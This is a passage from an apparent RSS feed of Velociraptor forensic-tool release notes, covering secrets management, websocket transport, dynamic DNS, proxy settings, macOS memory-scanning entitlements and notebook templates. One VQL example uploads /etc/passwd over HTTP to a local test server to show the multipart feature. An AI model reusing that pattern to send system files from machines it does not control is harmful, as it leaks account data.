class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/share_secret.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;674&#34; height=&#34;555&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;share_secret.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can view the list of users that are able to use the secret within&#xA;the GUI&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/viewing_share_secret.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1702&#34; height=&#34;204&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;viewing_share_secret.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now I can use the new secret by simply referring to it by name:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/using_secret.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1116&#34; height=&#34;545&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;using_secret.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Not only is this more secure but it is also more convenient since we&#xA;don&amp;rsquo;t need to remember the details of each secret to be able to use&#xA;it. For example, the &lt;code&gt;http_client()&lt;/code&gt; plugin will fill the URL field,&#xA;headers, cookies etc directly from the secret without us needing to&#xA;bother with the details.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;Although &lt;code&gt;secrets&lt;/code&gt; are designed to control access to the raw&#xA;credential by preventing users from directly accessing the secrets&#39;&#xA;contents, those secrets are still written to disk. This means that GUI&#xA;users with direct filesystem access can simply read the secrets from&#xA;the disk.&lt;/p&gt;&#xA;&lt;p&gt;We recommend not granting untrusted users elevated server permissions&#xA;like &lt;code&gt;EXECVE&lt;/code&gt; or &lt;code&gt;Filesystem Read&lt;/code&gt; as it can bypass the security&#xA;measures placed on secrets.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;server-improvements&#34;&gt;Server improvements&lt;/h2&gt;&#xA;&lt;h3 id=&#34;implemented-websocket-based-communication-mechanism&#34;&gt;Implemented Websocket based communication mechanism&lt;/h3&gt;&#xA;&lt;p&gt;One of the most important differences between Velociraptor and some&#xA;older remote DFIR frameworks such as GRR is the fact that Velociraptor&#xA;maintains a constant, low latency connection to the server. This&#xA;allows Velociraptor clients to respond immediately without needing to&#xA;wait for polling on the server.&lt;/p&gt;&#xA;&lt;p&gt;In order to enhance compatibility between multiple network&#xA;configurations, like MITM proxies, transparent proxies etc,&#xA;Velociraptor has stuck to simple HTTP based communications&#xA;protocols. To keep a constant connection, Velociraptor uses the long&#xA;poll method, keeping HTTP POST operations open for a long time.&lt;/p&gt;&#xA;&lt;p&gt;However as the Internet evolves and newer protocols become commonly&#xA;used by major sites, the older HTTP based communication method has&#xA;proved more difficult to use. For example, we found that certain layer&#xA;7 load balancers interfere with the long poll method by introducing&#xA;buffering to the connection. This severely degrades communications&#xA;between client and server (Velociraptor falls back to a polling method&#xA;in this case).&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, modern protocols are more widely used, so we found&#xA;that modern load balancers and proxies already support standard low&#xA;latency communications protocol such as &lt;code&gt;Web Sockets&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In this release, Velociraptor introduces support for websockets as a&#xA;communications protocol. The websocket protocol is designed for low&#xA;latency and low overhead continuous communications method between&#xA;clients and server (and is already used by e.g. most major social&#xA;media platforms). Therefore, this new method should be better&#xA;supported by network infrastructure as well as being more efficient.&lt;/p&gt;&#xA;&lt;p&gt;To use the new websocket protocol, simply set the client&amp;rsquo;s server URL&#xA;to have &lt;code&gt;wss://&lt;/code&gt; scheme:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Client:&#xA;  server_urls:&#xA;  - wss://velociraptor.example.com:8000/&#xA;  - https://velociraptor.example.com:8000/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can use both &lt;code&gt;https&lt;/code&gt; and &lt;code&gt;wss&lt;/code&gt; URLs at the same time, Velociraptor&#xA;will switch from one to the other scheme if one becomes unavailable.&lt;/p&gt;&#xA;&lt;h3 id=&#34;dynamic-dns-providers&#34;&gt;Dynamic DNS providers&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor has the capability to adjust DNS records by itself (AKA&#xA;Dynamic DNS). This saves users the hassle of managing a dedicated&#xA;dynamic DNS service such as &lt;code&gt;ddclient&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Traditionally we used Google Domains as our default Dynamic DNS&#xA;provider, but Google has decided to shut down this service abruptly&#xA;forcing us to switch to alternative providers.&lt;/p&gt;&#xA;&lt;p&gt;The 0.72 release has now switched to &lt;code&gt;Cloudflare&lt;/code&gt; as our default&#xA;preferred Dynamic DNS provider. We also added &lt;code&gt;noip.com&lt;/code&gt; as a second&#xA;option.&lt;/p&gt;&#xA;&lt;p&gt;Setting up Cloudflare as your preferred dynamic DNS provider requires&#xA;the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sign into Cloudflare and buy a domain name.&lt;/li&gt;&#xA;&lt;li&gt;go to &lt;a href=&#34;https://dash.cloudflare.com/profile/api-tokens&#34; target=&#34;_blank&#34; &gt;https://dash.cloudflare.com/profile/api-tokens&lt;/a&gt; to generate an&#xA;API token. Select &lt;code&gt;Edit Zone DNS&lt;/code&gt; in the API Token templates.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/cloudflare_1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1226&#34; height=&#34;441&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cloudflare_1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/cloudflare_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;836&#34; height=&#34;394&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cloudflare_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You will require the &amp;ldquo;Edit&amp;rdquo; permission on Zone DNS and include the&#xA;specific zone name you want to manage. The zone name is the domain you&#xA;purchased for example &amp;ldquo;example.com&amp;rdquo;. You will be able to set the&#xA;hostname under that domain, e.g. &amp;ldquo;velociraptor.example.com&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2024/2024-03-10-release-notes-0.72//blog/2024/2024-03-10-release-notes-0.72/cloudflare_3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;1078&#34; height=&#34;511&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;cloudflare_3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Using this information you can now create the dyndns configuration:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Frontend:&#xA;  ....&#xA;  dyn_dns:&#xA;    type: cloudflare&#xA;    api_token: XXXYYYZZZ&#xA;    zone_name: example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Make sure the Frontend.Hostname field is set to the correct hostname&#xA;to update - for example&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Frontend:&#xA;  hostname: velociraptor.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the hostname that will be updated.&lt;/p&gt;&#xA;&lt;h3 id=&#34;enhanced-proxy-support&#34;&gt;Enhanced proxy support&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor is often deployed into complex enterprise networks. Such&#xA;networks are often locked down with complicated controls (such as MITM&#xA;inspection proxies or automated proxy configurations) which&#xA;Velociraptor needs to support.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor already supports MITM proxies but previously had&#xA;inflexible proxy configuration. The proxy could be set or unset but&#xA;there was no finer grained control over which proxy to choose for&#xA;different URLs. This makes it difficult to deploy on changing&#xA;network topologies (such as roaming use).&lt;/p&gt;&#xA;&lt;p&gt;The 0.72 release introduces more complex proxy condition&#xA;capabilities. It is now possible to specify which proxy to use for&#xA;which URL based on a set of regular expressions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Client:&#xA;  proxy_config:&#xA;    http: http://192.168.1.1:3128/&#xA;    proxy_url_regexp:&#xA;      &amp;quot;^https://www.google.com/&amp;quot;: &amp;quot;&amp;quot;&#xA;      &amp;quot;^https://.+example.com&amp;quot;: &amp;quot;https://proxy.example.com:3128/&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above configuration means to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;By default connect to &lt;code&gt;http://192.168.1.1:3128/&lt;/code&gt; for all URLs&#xA;(including &lt;code&gt;https&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Except for &lt;code&gt;www.google.com&lt;/code&gt; which will be connecting to directly.&lt;/li&gt;&#xA;&lt;li&gt;Any URLs in the &lt;code&gt;example.com&lt;/code&gt; domain will be forwarded through&#xA;&lt;code&gt;https://proxy.example.com:3128&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This proxy configuration can apply to the &lt;code&gt;Client&lt;/code&gt; section or the&#xA;&lt;code&gt;Frontend&lt;/code&gt; section to control the server&amp;rsquo;s configuration.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, Velociraptor now supports a &lt;code&gt;Proxy Auto Configuration (PAC)&lt;/code&gt; file. If a &lt;code&gt;PAC&lt;/code&gt; file is specified, then the other&#xA;configuration directives are ignored and all configuration comes from&#xA;the PAC file. The PAC file can also be read from disk using the&#xA;&lt;code&gt;file://&lt;/code&gt; URL scheme, or even provided within the configuration file&#xA;using a &lt;code&gt;data:&lt;/code&gt; URL.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;Client:&#xA;  proxy_config:&#xA;    pac: http://www.example.com/wpad.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the PAC file must obviously be accessible without a proxy.&lt;/p&gt;&#xA;&lt;h3 id=&#34;automated-backups&#34;&gt;Automated backups&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor maintains some critical metadata in various files. In&#xA;this release we implemented an automated backup and restore&#xA;framework. This framework is able to backup some critical parts of the&#xA;server using the VQL plugins &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/server/backup/&#34;&gt;backup()&lt;/a&gt; and &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/server/backup_restore/&#34;&gt;backup_restore()&lt;/a&gt;, as well as periodically&#xA;(by default daily).&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Backup all users and ACLs&lt;/li&gt;&#xA;&lt;li&gt;Backup all hunt metadata&lt;/li&gt;&#xA;&lt;li&gt;Backup client metadata including labels, and other metadata.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;other-notable-features&#34;&gt;Other notable features&lt;/h2&gt;&#xA;&lt;p&gt;Other interesting improvements include&lt;/p&gt;&#xA;&lt;h3 id=&#34;process-memory-access-on-macos&#34;&gt;Process memory access on MacOS&lt;/h3&gt;&#xA;&lt;p&gt;On MacOS we can now use proc_yara() to scan process memory. This&#xA;should work providing your TCT profile grant the &lt;code&gt;get-task-allow&lt;/code&gt;,&#xA;&lt;code&gt;proc_info-allow&lt;/code&gt; and &lt;code&gt;task_for_pid-allow&lt;/code&gt; entitlements. For example&#xA;the following &lt;code&gt;plist&lt;/code&gt; is needed at a minimum:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-xml&#34;&gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;quot;-//Apple//DTD PLIST 1.0//EN&amp;quot; &amp;quot;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;quot;&amp;gt;&#xA;&amp;lt;plist version=&amp;quot;1.0&amp;quot;&amp;gt;&#xA;&amp;lt;dict&amp;gt;&#xA;    &amp;lt;key&amp;gt;com.apple.springboard.debugapplications&amp;lt;/key&amp;gt;&#xA;    &amp;lt;true/&amp;gt;&#xA;    &amp;lt;key&amp;gt;get-task-allow&amp;lt;/key&amp;gt;&#xA;    &amp;lt;true/&amp;gt;&#xA;    &amp;lt;key&amp;gt;proc_info-allow&amp;lt;/key&amp;gt;&#xA;    &amp;lt;true/&amp;gt;&#xA;    &amp;lt;key&amp;gt;task_for_pid-allow&amp;lt;/key&amp;gt;&#xA;    &amp;lt;true/&amp;gt;&#xA;&amp;lt;/dict&amp;gt;&#xA;&amp;lt;/plist&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;multipart-uploaders-to-http_client&#34;&gt;Multipart uploaders to http_client()&lt;/h3&gt;&#xA;&lt;p&gt;Sometimes servers requires uploaded files to be encoded using the&#xA;&lt;code&gt;mutipart/form&lt;/code&gt; method.  Previously it was possible to upload files&#xA;using the &lt;code&gt;http_client()&lt;/code&gt; plugin by constructing the relevant request&#xA;in pure VQL string building operations.&lt;/p&gt;&#xA;&lt;p&gt;However this approach is limited by available memory and is not&#xA;suitable for larger files. It is also non-intuitive for users.&lt;/p&gt;&#xA;&lt;p&gt;This release adds the &lt;code&gt;files&lt;/code&gt; parameter to the &lt;code&gt;http_client()&lt;/code&gt;&#xA;plugin. This simplifies uploading multiple files and automatically&#xA;streams those files without memory buffering - allowing very large&#xA;files to be uploaded this way.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT *&#xA;FROM http_client(&#xA;  url=&#39;http://localhost:8002/test/&#39;,&#xA;  method=&#39;POST&#39;,&#xA;  files=dict(file=&#39;file.txt&#39;, key=&#39;file&#39;, path=&#39;/etc/passwd&#39;, accessor=&amp;quot;file&amp;quot;)&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here the files can be an array of dicts with the following fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;file: The name of the file that will be stored on the server&lt;/li&gt;&#xA;&lt;li&gt;key: The name of the form element that will receive the file&lt;/li&gt;&#xA;&lt;li&gt;path: This is an OSPath object that we open and stream into the form.&lt;/li&gt;&#xA;&lt;li&gt;accessor: Any accessor required for the path.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;yara-plugin-can-now-accept-compiled-rules&#34;&gt;Yara plugin can now accept compiled rules&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;yara()&lt;/code&gt; plugin was upgraded to use Yara Version 4.5.0 as well as&#xA;support compiled yara rules. You can compile yara rules with the&#xA;&lt;code&gt;yarac&lt;/code&gt; compiler to produce a binary rule file. Simply pass the&#xA;compiled binary data to the &lt;code&gt;yara()&lt;/code&gt; plugin&amp;rsquo;s &lt;code&gt;rules&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;We do not recommend using compiled yara rule because of their&#xA;practical limitations:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The compiled rules can not portable and must be used on exactly the&#xA;same version of the yara library as the compiler that created them&#xA;(Currently 4.5.0)&lt;/li&gt;&#xA;&lt;li&gt;Compiled yara rules are much larger than the text rules.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Compiled yara rules pose no benefit over text based rules, except&#xA;perhaps being more complex to decompile. This is primarily the reason&#xA;to use compiled rules - to try to hide the rules (e.g. from commercial&#xA;reasons).&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;the-registry-hunter-is-launched&#34;&gt;The Registry Hunter is launched&lt;/h3&gt;&#xA;&lt;p&gt;As DFIR practitioners, the Windows registry is a treasure trove of&#xA;information. The Windows registry stores information about system&#xA;configuration and therefore we can use it to understand what software&#xA;was installed, how it was configured and hunt for mis-configuration or&#xA;deliberate compromises to achieve attacker persistence.&lt;/p&gt;&#xA;&lt;p&gt;This release also introduces the Registry Hunter project - a unified&#xA;streamlined way to hunt for forensically relevant information through&#xA;the windows registry.&lt;/p&gt;&#xA;&lt;p&gt;You can read more about &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2024/2024-04-12-registry-hunter/&#34;&gt;The registry hunter&lt;/a&gt; in our blog post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.7.1 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1/</link>
      <pubDate>Wed, 15 Nov 2023 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1/</guid>
      <description>&lt;p&gt;I am very excited to announce that the latest Velociraptor release 0.7.1 is&#xA;now LIVE!&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;gui-improvements&#34;&gt;GUI improvements&lt;/h2&gt;&#xA;&lt;p&gt;The GUI was updated in this release to improve user workflow and accessibility.&lt;/p&gt;&#xA;&lt;h3 id=&#34;notebook-improvements&#34;&gt;Notebook improvements&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor uses &lt;code&gt;notebooks&lt;/code&gt; extensively to facilitate collaboration,&#xA;and post processing. There are currently three types of notebooks:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Global Notebooks - these are available from the GUI sidebar and can&#xA;be shared with other users for a collaborative workflow.&lt;/li&gt;&#xA;&lt;li&gt;Collection notebooks - these are attached to specific collections&#xA;and allow post processing the collection results.&lt;/li&gt;&#xA;&lt;li&gt;Hunt notebooks - are attached to a hunt and allow post processing&#xA;of the collection data from a hunt.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This release further develops the &lt;code&gt;Global notebooks&lt;/code&gt; workflow as a&#xA;central place for collecting and sharing analysis results.&lt;/p&gt;&#xA;&lt;h4 id=&#34;templated-notebooks&#34;&gt;Templated notebooks&lt;/h4&gt;&#xA;&lt;p&gt;Many users use notebooks heavily to organize their investigation and&#xA;guide users on what to collect. While &lt;code&gt;Collection notebooks&lt;/code&gt; and &lt;code&gt;Hunt notebooks&lt;/code&gt; can already include templates there was no way to customize&#xA;the default &lt;code&gt;Global notebook&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In this release, we define a new type of Artifact of type &lt;code&gt;NOTEBOOK&lt;/code&gt;&#xA;which allows a user to define a template for global notebooks.&lt;/p&gt;&#xA;&lt;p&gt;In this example I will create such a template to help users gather&#xA;server information about clients. I click on the artifact editor in&#xA;the sidebar, then select &lt;code&gt;Notebook Templates&lt;/code&gt; from the search&#xA;screen. I then edit the built in &lt;code&gt;Notebooks.Default&lt;/code&gt; artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/adding_new_notebook_template.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a new notebook template&#34;&#xA;         width=&#34;1155&#34; height=&#34;851&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;adding_new_notebook_template.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a new notebook template&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can define multiple cells in the notebook. Cells can be of type&#xA;&lt;code&gt;vql&lt;/code&gt;, &lt;code&gt;markdown&lt;/code&gt; or &lt;code&gt;vql_suggestion&lt;/code&gt;. I usually use the &lt;code&gt;markdown&lt;/code&gt;&#xA;cells to write instructions for users of how to use my notebook, while&#xA;&lt;code&gt;vql&lt;/code&gt; cells can run queries like schedule collections or preset hunts.&lt;/p&gt;&#xA;&lt;p&gt;Next I select the &lt;code&gt;Global notebooks&lt;/code&gt; in the sidebar and click the &lt;code&gt;New Notebook&lt;/code&gt; button. This brings up a wizard that allows me to create a&#xA;new global notebook. After filling in the name of the notebook and&#xA;electing which user to share it with, I can choose the template for&#xA;this notebook.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/selecting_notebook_template.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Adding a new notebook template&#34;&#xA;         width=&#34;1173&#34; height=&#34;1011&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;selecting_notebook_template.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Adding a new notebook template&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can see my newly added notebook template and select it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-release-notes-0.7.1//blog/2023/2023-11-15-release-notes-0.7.1/view_notebook_from_template.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Viewing the notebook from template&#34;&#xA;         width=&#34;1051&#34; height=&#34;705&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;view_notebook_from_template.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Viewing the notebook from template&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;copying-notebook-cells&#34;&gt;Copying notebook cells&lt;/h4&gt;&#xA;&lt;p&gt;In this release, Velociraptor allows copying of a cell from any&#xA;notebook to the Global notebooks. This facilitates a workflow where&#xA;users may filter, post-process and identify interesting artifacts in&#xA;various hunt notebooks or specific collection notebooks, but then copy&#xA;the post processed cell into a central Global notebook for&#xA;collaboration.&lt;/p&gt;&#xA;&lt;p&gt;For the next example, I collect the server artifact&#xA;&lt;code&gt;Server.Information.Clients&lt;/code&gt; and post process the results in the&#xA;notebook to count the different clients by OS.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 